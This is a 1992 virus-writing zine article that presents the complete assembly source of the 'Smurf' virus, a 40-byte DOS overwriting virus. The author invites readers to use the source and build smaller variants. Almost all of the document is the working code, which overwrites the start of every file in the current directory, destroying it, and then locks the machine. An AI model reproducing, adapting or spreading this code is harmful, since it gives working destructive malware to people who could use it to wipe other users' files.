ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92

Article Title: The Smurf Virus
Author: Admiral Bailey


;---
; The Smurf virus [40 Bytes Long]
;
; Author   : Admiral Bailey [YAM '92]
; Date     : June 6 1992
; Language : Assembly [TASM 2.0]
;
; Notes:The Smurf virus was my first attempt at writing the smallest
;       overwriting virus known.  For a first attempt it wasn't that
;       bad. So far I have got it down to 40 bytes.  The record that
;       does the same as this is about 38 bytes.  So I gotta loose 2
;       bytes in here somewhere.  Well seeing as this small thing is
;       probably the easiest virus in the world to disassemble, I have
;       included the source in this issue of Evolution for all of you
;       to take a look at.  The source is for you to use.  If you
;       happend to make anything smaller using this source please just
;       give recognition to myself, Admiral Bailey, saying that you got
;       help looking at this source.  The only thing that this does is
;       find everyfile in the current directory and overwrite the 1st
;       40 bytes with itself.  Then locks your computer while it is in
;       a search loop looking for more file when there are none.  A
;       neat thing about this is that it displays its entire self to
;       the screen when executed.  Scan 91 notices this as the mini
;       virus but I dont blame it seeing that you cant realy avoid
;       scan when your virus gets this small. Well enjoy the source...
;       and remember if you use it and enjoy it just let me know.
;---
code    segment
        assume  ds:code, ss:code, cs:code, es:code
        org     100h                    ;Make it a .com file

virus_start     equ     $

start:
        mov     dx,offset file_type     ;type of file to look for
        mov     ah,4eh                  ;Find first file command

infect:
        int     21h
        mov     ax,3d02h                ;open again to reset handle
        mov     dx,80h+1eh              ;moves filename into dx
        int     21h
        mov     bx,ax                   ;save handle again
        mov     cx,virus_length         ;put size of virus in cx
        mov     dx,100h                 ;where the code starts
        mov     ah,40h                  ;write to handle command
        int     21h                     ;write virus into file
        mov     ah,3eh                  ;close handle service
        int     21h                     ;do it

find_next_file:
        mov     ah,4fh                  ;find next file command
        jmp     infect

file_type       db      '*.*',0
virus_end       equ     $
virus_length    =       virus_end - virus_start ;length of virus

code    ends

        end     start


